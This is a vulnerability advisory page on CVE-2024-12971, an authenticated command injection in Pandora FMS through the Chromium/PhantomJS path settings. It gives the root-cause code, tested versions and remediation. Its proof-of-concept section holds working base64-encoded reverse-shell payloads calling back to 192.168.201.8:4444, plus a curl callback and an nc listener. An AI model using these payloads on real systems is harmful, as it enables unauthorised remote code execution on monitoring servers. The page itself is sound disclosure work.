H00DIE-GR3YGitHub ↗ (opens in a new tab)
Menu
ORIGINAL RESEARCHEXPLOIT DEVELOPMENTCVE-2024-12971

CVE-2024-12971 — Pandora FMS Chromium/PhantomJS Path Command Injection

Authenticated OS command injection in Pandora FMS through the Chromium or PhantomJS path configuration, allowing an administrator to execute arbitrary commands on the server.

Originally published on Rapid7 AttackerKB · 2025-03-18 · revised 2025-08-13

Overview

CVE-2024-12971 is an authenticated OS command injection vulnerability in Pandora FMS. An administrator can control executable-path configuration values that are subsequently concatenated into commands passed to PHP’s exec() function.

The affected configuration depends on the Pandora FMS release:

  • Version 768 and later: the vulnerable value is chromium_path.
  • Version 767 and earlier: the equivalent condition exists in phantomjs_bin.

Successful exploitation results in arbitrary command execution in the context of the Pandora FMS web application.

Attack prerequisites

Exploitation requires a valid Pandora FMS administrator account with permission to modify the general system configuration.

Root cause

The vulnerable code is located in /var/www/html/pandora_console/include/class/ConsoleSupervisor.php, in checkPHPSettings().

For Pandora FMS 768 and later, the configured Chromium path is passed into exec() as part of a command string:

// Chromium status.
        $chromium_dir = io_safe_output($config['chromium_path']);
        $result_ejecution = exec($chromium_dir.' --version');

For Pandora FMS 767 and earlier, the same pattern is present for the PhantomJS path:

        // PhantomJS status
        $phantomjs_dir = io_safe_output($config['phantomjs_bin']);
        $result_ejecution = exec($phantomjs_dir.'/phantomjs --version’);

Although io_safe_output() is applied, the resulting value is not made shell-safe before command execution. A configuration value containing shell metacharacters can therefore alter the command executed by the operating system.

Proof of concept

  1. Sign in to Pandora FMS as an administrator.
  2. Navigate to Management → System Settings → General Setup.
  3. Replace the Chromium path with a command-injection payload. On version 767 and earlier, use the PhantomJS path instead.
  4. Save the configuration to trigger the vulnerable code path.

Pandora FMS Chromium path command injection

The original research used payloads without literal spaces by combining Base64 encoding with the shell IFS variable.

Reverse shell

bash -i >& /dev/tcp/192.168.201.8/4444 0>&1
echo -n "bash -i >& /dev/tcp/192.168.201.8/4444 0>&1"|base64 -w0
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS44LzQ0NDQgMD4mMQ==

Injected value:

;echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS44LzQ0NDQgMD4mMQ==|base64${IFS}-d|bash;

Start a listener on the testing system with nc -lvnp 4444.

Minimal shell

(sh)0>/dev/tcp/192.168.201.8/4444
echo -n "(sh)0>/dev/tcp/192.168.201.8/4444"|base64 -w0
KHNoKTA+L2Rldi90Y3AvMTkyLjE2OC4yMDEuOC80NDQ0

Injected value:

;echo${IFS}KHNoKTA+L2Rldi90Y3AvMTkyLjE2OC4yMDEuOC80NDQ0|base64${IFS}-d|bash;

After the connection is established, exec >&0 can be used to redirect command output over the shell. The research also validated execution with a non-interactive callback such as ;curl${IFS}192.168.201.8; while running python3 -m http.server 80 on the testing system.

Tested versions

The following releases were confirmed vulnerable during testing.

Chromium path

  • Pandora FMS Enterprise 780 on Rocky Linux 9.5
  • Pandora FMS Enterprise 777.6 on Ubuntu 22.04
  • Pandora FMS Community Edition 7.0NG.768 on CentOS 7
  • Pandora FMS Community Edition 7.0NG.777-LTS on Ubuntu 22.04
  • Pandora FMS Community Edition 7.0NG.772-LTS on Ubuntu 22.04

PhantomJS path

  • Pandora FMS Community Edition 7.0NG.724 on CentOS 7
  • Pandora FMS Community Edition 7.0NG.725 on CentOS 7
  • Pandora FMS Community Edition 7.0NG.738 on CentOS 7
  • Pandora FMS Community Edition 7.0NG.739 on CentOS 7
  • Pandora FMS Community Edition 7.0NG.759 on CentOS 7
  • Pandora FMS Community Edition 7.0NG.767 on CentOS 7

Impact

An authenticated administrator can execute arbitrary operating-system commands through a persistent application configuration value. This crosses the application boundary and provides code execution on the Pandora FMS host.

Exploit development

A Metasploit module was developed to automate exploitation and was submitted upstream as PR 20008.

Remediation

Upgrade Pandora FMS to a release containing the vendor fix. The archived assessment recommends upgrading to the latest available release.

References

Credits

Discovery: h00die-gr3y.